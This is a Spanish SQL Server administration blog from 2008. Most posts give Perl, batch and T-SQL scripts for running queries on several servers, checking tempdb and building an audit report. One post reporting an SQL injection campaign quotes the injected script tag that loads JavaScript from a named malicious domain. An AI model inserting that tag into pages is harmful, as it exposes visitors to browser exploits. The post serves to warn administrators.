Mostrando entradas con la etiqueta MsSQL. Mostrar todas las entradas
Mostrando entradas con la etiqueta MsSQL. Mostrar todas las entradas

miércoles, 13 de febrero de 2008

Ejecutar a la vez un mismo script en varias instancias

El pasado viernes, os puse un ejemplo de cómo correr una misma consulta en varios servidores y presentar todos los resultados en un mismo archivo de texto. Os ponía en el ejmplo un sencillo script para monitorizar el estado de la tempdb.

A continuación tenéis otro ejemplo, esta vez en perl. El script crea una carpeta con la fecha presente y en ella por cada instancia consultada crea un archivo de texto.

En mi caso, empleo este script para la monitorización diaria de logs entre otros.

#!perl

#---------------------------------------------------------

#--GETTING DATES FROM WHICH LOGS WILL BE WRITTEN

#---------------------------------------------------------

#--gets dates:current & day before to grep those entries

#--from the log file generated

#--gets date to delete seven days old rpts

use Time::localtime;

#-- get dates

#$tm = localtime(time - (86400)); #for day before

$tp = localtime; #for current

#$td = localtime(time - (604800)) ; # seven days ago

#--for each date, two different formats: yyyy-mm-dd -> SQL 7, 2k, 2005

#--yyyy/mm/dd -> SQL 6.5

#-- & eliminate possible blank spaces

$variable= sprintf("%04d-%02d-%02d\n", $tp->year+1900, ($tp->mon)+1, $tp->mday);

$variable=~s/\s//g;

$report = "script.sql";

#-----------------------------------------------

#--MAKE DIRECTORY WHERE RPTS WILL BE PLACED

#-----------------------------------------------

$directory ="$variable";

system("mkdir $directory");

@todo = (

'servidor1',

'servidor1\instancia1',

);

system( "del $directory\\*.log");

foreach (@todo) {

#--assign scalar value server

$server=$_; # server name itself

$output=$_; # since win cannot create files with "\"...

$output=~s/\\/X/; #...remove backslash and replace it for "X"

#--remove spaces

$server=~s/\s//g;

$output=~s/\s//g;

system("osql -E -S $server -t60 -n -w1000 -i $report -o $directory\\$output.log");

}

#--END

Podéis copiar el ejemplo en un archivo y salvarlo con extensión pl. Si estáis interesados en cómo usar perl con SQLl Server os recomiendo este libro

martes, 12 de febrero de 2008

Versiones de Microsoft SQL Server 2008, 2005, 2000 y 7.0

Microsoft (¡por fin!) desde el 19 de diciembre incluye un documento con los distntas versiones (parches, actualizaciones, etc) de Sql Server desde el lanzamiento del SP2

Se echa de menos un documento más extenso que incluya versiones anteriores. Por suerte para nosotros, alguien se dedica a recopilar toda esa información. Os recomiendo salvar este enlace en favoritos

viernes, 8 de febrero de 2008

Comprobar el estado de la Tempdb en varios servidores

Una buena solución para correr un script en varios servidores es usar OSQL dentro de un batch file u otro lenguaje script

Por ejemplo, supongamos que queremos ver el estatus de la tempdb en una serie de servidores y queremos que todos los resultados aparezcan en un archivo de texto que llamo jobstatus.txt y que presenta el siguiente formato:

Fri 02/08/2008

09:41 AM

*****************************************************************

TEMPDB STATUS

*****************************************************************

Server Name DB Name DB Size Mb Space Used Mb

Servidor1 Tempdb 3316.44 0.55

Server Name DB Name DB Size Mb Space Used Mb

Servidor2 Tempdb 150.00 0.70

Server Name DB Name DB Size Mb Space Used Mb

Servidor3 Tempdb 65.56 0.59

Para ello crearemos en este caso un batch file en el cual incluiremos la lista de servidores a auditar y una línea OSQL (consultar la ayuda en línea acerca de esta utilidad para ver opciones de salida)

En primer lugar creamos el script que queremos correr y lo salvamos con extensión *.sql

set nocount on

declare @dbsize dec(15,2)

declare @database_size nvarchar(13)

declare @spaceused nvarchar(13)

select @dbsize = sum(convert(dec(15,2),size))

from tempdb.dbo.sysfiles

select @database_size =(convert(dec(15,2),@dbsize / 128)),

@spaceused=(select convert(dec (15,2),(sum(convert(dec(15,2),reserved))/128))

from tempdb..sysindexes

where indid in (0, 1, 255))

select convert(nvarchar(30),@@servername) as 'Server Name','Tempdb' as 'DB Name',

@database_size as 'DB Size Mb', @spaceused as 'Space Used Mb'

set nocount off

A continuación, necesitamos el batch file:

date /t >>jobstatus.txt

time /t >>jobstatus.txt

echo *****************************************************************>> jobstatus.txt

echo TEMPDB STATUS >>JOBSTATUS.TXT

echo *****************************************************************>>jobstatus.txt

::Aquí tenemos los servidores.

for %%t in (

servidor1

servidor2

servidor3

) do osql -E -S %%t -t30 -n -w500 -i TEMPDB.sql >> jobstatus.txt

echo ------------------------------------------------------->> jobstatus.txt

echo ------------------------------------------------------->> jobstatus.txt

echo END OF REPORT

::si queremos que automáticamente se nos abra el fichero

notepad jobstatus.txt

Salvamos con extensión *.bat. Para ejecutar, ya sabéis doble click o bien podéis programarlo como un job (aseguraros que la cuenta que lo ejecuta tiene permisos en cada uno de los servidores).

El próximo día os pondré otro ejemplo, esta vez utilizando perl, salvando un fichero para cada servidor.

miércoles, 23 de enero de 2008

Nuevo ataque de inyección SQL

El pasado 7 de Enero se descubrió un nuevo ataque que aprovechaba una vieja vulnerabilidad en MDAC (de abril del 2006)

Básicamente el ataque inserta siguiente código
en JavaScript en las páginas
<script src=http://?.uc8010.com/0.js></script>
lo que que provoca que el navegador del visitante se dirija el servidor malicioso (uc8010.com) desde el cual se producirán ataques aprovechando vulnerabilidades de ReaPlayer o Internet Explorer.

Aún a día de hoy más de 100.000 páginas siguen infectadas (http://www.google.es/search?hl=es&q=UC8010&btnG=Buscar&meta= )

como curiosidad más información sobre el dominio malicioso

61.188.0.0 - 61.188.255.255
netname: CHINANET-SC
descr: CHINANET Sichuan province network
descr: China Telecom
descr: A12,Xin-Jie-Kou-Wai Street
descr: Beijing 100088
country: CN

Más información:

Computerworld
Ddanchev
Hispasec








jueves, 17 de enero de 2008

Error 911,level 16 Could not locate entry in sysdatabases for database XXXX

sp_MsForeachdb puede reportar el error 911 si alguna de las bbdd contiene guiones en su nombre (nombre-xxxx)

Puede corregirse poniendo el nombre de la bbdd entre corchetes:

sp_MsForeachdb'Use [?];Insert #filestats (FileID, FileGroupID, FileTotalSizeMB, FileUsedSpaceMB, FileLogicalName, FilePath) exec (''DBCC SHOWFILESTATS WITH NO_INFOMSGS '')'

El error apareción hoy por la mañana al correr el script de monitorización de espacio En uno de los serviodres se habían añadido bbdd para Sharepoint que contenían guiones en el nombre (en la forma Sharepoint-Admincontent-a9d800-xxxxx)

miércoles, 9 de enero de 2008

Full-Text Indexing

Tengo que reconocer que nunca le he prestado mucha atención a esta capacidad de SQL Server, pero ayer los logs de uno de nuestros servidores (SQL 2000) empezarón a mostrar repetidas entradas de Login failed for user 'NT AUTHORITY\SYSTEM'

Por defecto siempre configuramos SQL Server , SQLServerAgent y demás servicios SQL con la misma cuenta de dominio (password nunca caduca) con privilegios de sysadmin en vez de 'Local system Account' También borramos Builtin Administrators de SQL Server, por supuesto.

EL problema fue que uno de los administradores de Windows habilitó el 'Full text Search' y dejó por defecto 'Local System Account' como cuenta.

SQL 2000 y 7 utilizan un servicio de Windows (cualquier versión lo incluye) llamado Microsoft Search Service. Este servicio ofrece indexación y búsquedas para otras aplicaciones como Exchange o Sharepoint.

En SQL 2005 la cosa cambia bastante; hay un servicio dedicado que trabaja directamente con SQL Server. en este enlace tenéis buena información para el 2005

Ejemplos y explicación en versiones anteriores aquí

martes, 8 de enero de 2008

Vuelven los Auditores I

Fieles a su cita vuelven los auditores a destrozar la tranquilidad y al paz del dba. Creo que ahora nos toca SOX . Así que toca exprimir el cerebro tratando de entender qué demonios piden los auditores y cómo puedes demostrarles que tus servidores cumplen sus normas. Una pesadilla
Aún no nos han dicho qué es exactamente lo que quieren este año. Algo que no suele faltar es lo que véis aquí abajo:

General Information
ProductName Microsoft SQL Server
ProductVersion 8.00.2040
Platform NT INTEL X86
FileVersion 2000.080.2040.00 Hotfix 2140
WindowsVersion 5.0 (2195)
ProcessorCount 4
ProcessorType PROCESSOR_INTEL_PENTIUM
PhysicalMemory 7679 (8052326400)



SERVICES
Service Account Status
MSSqlsrvr LocalSystem Autostart
SQLAgent domain\account Autostart



GENERAL SECURITY
Login Mode SQL and NT
Audit Level Failures
Default Domain domain
Default Login guest

Os dejo el script que genera este informe (No lo he probado aún con el 2005)
Para generarlo directamente en excel, recordad que hay que seleccionar la salida en archivo y luego poned el nombre que queráis con la extensión xls






set nocount on
declare @strHTML varchar (8000)
SET @strHTML = ''






create table #gral ([index] int, [name] varchar (40), internal_value varchar (10), character_value varchar(150))

insert into #gral exec master..xp_msver ProductNAme
insert into #gral exec master..xp_msver ProductVersion
insert into #gral exec master..xp_msver Platform
insert into #gral exec master..xp_msver fileVersion
insert into #gral exec master..xp_msver windowsVersion
insert into #gral exec master..xp_msver ProcessorCount
insert into #gral exec master..xp_msver ProcessorType
insert into #gral exec master..xp_msver PhysicalMemory




select '< DIV ALIGN="center" > < TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" > < A NAME="GENERAL INFORMATION" > < B > General Information< /B > < /A > < /TD > < /TR >
'
union all
select '< TR > < TD VALIGN= "top" > < I > '+ [name] + '< /I > < /TD > '+
'< TD VALIGN= "top" > '+character_value +' < /TD > '+
'< /TR > ' from #gral

union all

select '< /TABLE > '









drop table #gral
print '< BR > '


declare @ser varchar (40)
set @ser = (SELECT CONVERT(char(20),SERVERPROPERTY('servername')))

--SQLServer
declare @sqlsrv varchar (50)
declare @status varchar (20)


CREATE TABLE #srvr (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0) -- no es instancia

-- no instance
begin -- = 7 and 2k

insert #srvr exec master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\MSSQLSERVER','Start'

GOTO REP

end

else

begin

--instance

DECLARE @RegistryPath varchar(200)
SET @RegistryPath = 'SYSTEM\CurrentControlSet\Services\MSSQL$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'ObjectName'
INSERT #srvr EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegistryPath,'Start'
GOTO REP
end
REP:

select @sqlsrv = data from #srvr where value = 'ObjectName'
select @status = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #srvr
DROP TABLE #srvr


SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="3" ALIGN="center" VALIGN="top" > < B > < A > SERVICES< /B > < /A > < /TD > < /TR >
< TR BGCOLOR="EEEEEE" >
< TD ALIGN="left" WIDTH="25%" > < B > Service< /B > < /TD >
< TD ALIGN="left" WIDTH="50%" > < B > Account< /B > < /TD >
< TD ALIGN="left" WIDTH="25%" > < B > Status< /B > < /TD >
< /TR > '
print @strHTML



--sqlserveragent

CREATE TABLE #AGENT (value VARCHAR(50), data VARCHAR(50))
IF (charindex('\',@ser)=0)

begin
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SYSTEM\CurrentControlSet\Services\SQLSERVERAGENT','Start'

GOTO REPT

end

else

begin

DECLARE @RegPath varchar(200)
SET @RegPath = 'SYSTEM\CurrentControlSet\Services\SQLAGENT$' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'ObjectName'
INSERT #AGENT EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@RegPath,'Start'
GOTO REPT
end
REPT:
declare @sqlage varchar (50)
declare @statage varchar (20)
select @sqlage = data from #agent where value = 'ObjectName'
select @statage = case data when '2' then 'Autostart'
when '3' then 'Manual'
when '4' then 'Disabled'
end from #agent

DROP TABLE #AGENT



set @strHTML = '< TR > < TD VALIGN= "top" > MSSqlsrvr < /TD > < TD VALIGN= "top" > '+ @sqlsrv +
'< /TD > < TD VALIGN= "top" > '+@status+' < /TD > '+
'< TR > < TD VALIGN= "top" > SQLAgent < /TD > < TD VALIGN= "top" > '+ @sqlage +
'< /TD > < TD VALIGN= "top" > '+@statage+' < /TD > < /TR > < /TABLE > '



print @strHTML

print '< BR > '
---------------------------------


--general security


CREATE TABLE #sec (value VARCHAR(30), data VARCHAR(30))
IF (charindex('\',@ser)=0)

begin

INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER','DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,'SOFTWARE\MICROSOFT\MSSQLSERVER\MSSQLSERVER', 'LoginMode'

GOTO REPORT

end
else

begin
DECLARE @Path varchar(200)
DECLARE @Path2 varchar(200)
SET @Path = 'SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER'
SET @Path2 ='SOFTWARE\MICROSOFT\MICROSOFT SQL SERVER\' + RIGHT(@@SERVERNAME,LEN(@@SERVERNAME)-CHARINDEX('\',@@SERVERNAME))+'\MSSQLSERVER\CURRENTVERSION'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'AuditLevel'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultDomain'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'DefaultLogin'
INSERT #sec EXEC master..xp_regread 'HKEY_LOCAL_MACHINE' ,@Path,'LoginMode'


end
GOTO REPORT

REPORT:
declare @loginMode varchar (30)
declare @AuditLevel varchar (30)
declare @DefaultDomain varchar (30)
declare @DefaultLogin varchar (30)


select @LoginMode = case data when '1' then 'NT' when '2' then 'SQL and NT' end from #sec where value = 'LoginMode'

select @AuditLevel =case data when '0' then 'None'
when '1' then 'Success'
when '2' then 'Failures'
when '3' then 'All ' end from #sec where value = 'AuditLevel'

select @DefaultDomain = data from #sec where value = 'defaultDomain'

select @DefaultLogin = data from #sec where value = 'defaultLogin'



drop table #SEC

SELECT @strHTML = '< TABLE BORDER="1" CELLPADDING="2" CELLSPACING="0" BORDERCOLOUR="003366" WIDTH="60%" >
< TR BGCOLOR="EEEEEE" > < TD CLASS="Title" COLSPAN="2" ALIGN="center" VALIGN="top" > < B > < A > GENERAL SECURITY< /B > < /A > < /TD > < /TR >
'
print @strHTML


set @strHTML = '< TR > < TD VALIGN= "top" > < I > Login Mode < /I > < /TD > < TD VALIGN= "top" > ' +
+@LoginMode+' < /TD > '+
'< TR > < TD VALIGN= "top" > < I > Audit Level< /I > < /TD > < TD VALIGN= "top" > ' +
+@AuditLevel+' < /TD > < /TR > ' +
'< TR > < TD VALIGN= "top" > < I > Default Domain< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultDomain+' < /TD > < /TR > '+
'< TR > < TD VALIGN= "top" > < I > Default Login< /I > < /TD > < TD VALIGN= "top" > ' +
+@DefaultLogin+' < /TD > < /TR > < /TABLE > < BR > '

print @strHTML